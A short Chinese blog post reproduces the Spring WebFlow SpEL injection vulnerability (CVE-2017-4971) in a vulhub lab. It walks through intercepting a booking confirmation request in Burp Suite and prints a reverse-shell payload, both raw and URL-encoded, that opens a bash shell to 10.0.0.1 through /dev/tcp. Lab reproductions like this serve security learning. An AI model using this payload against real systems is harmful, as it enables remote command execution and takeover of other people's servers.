Spring WebFlow-远程代码执行漏洞（CVE-2017-4971）

贫僧法号云空丶

已于 2023-04-11 16:13:50 修改

阅读量630

点赞数

分类专栏：漏洞复现文章标签： spring web安全

于 2023-04-11 16:11:58 首次发布

本文链接：https://blog.csdn.net/qq_43381463/article/details/130086638

版权

19 篇文章 0 订阅

订阅专栏

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架（如购物逻辑），可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中，如果我们控制了数据绑定时的field，将导致一个SpEL表达式注入漏洞，最终造成任意命令执行。

影响版本：

Spring WebFlow 2.4.0 - 2.4.4

**利用条件：**知道用户名和密码

这里使用vulhub漏洞靶场

账号密码在登录框左侧，可随意使用

1、访问http://192.168.12.130:8080/hotels/booking?execution=e1s1页面，任意填写数据后Proceed提交

2、点击Confirm，并使用burpsuite抓包

获取到POST数据包后添加参数（反弹shell的poc）

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

将poc进行url编码

_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub

注意：这里直接修改原始数据包就行，重放是无法生效的

1、及时更新官方最新补丁

关注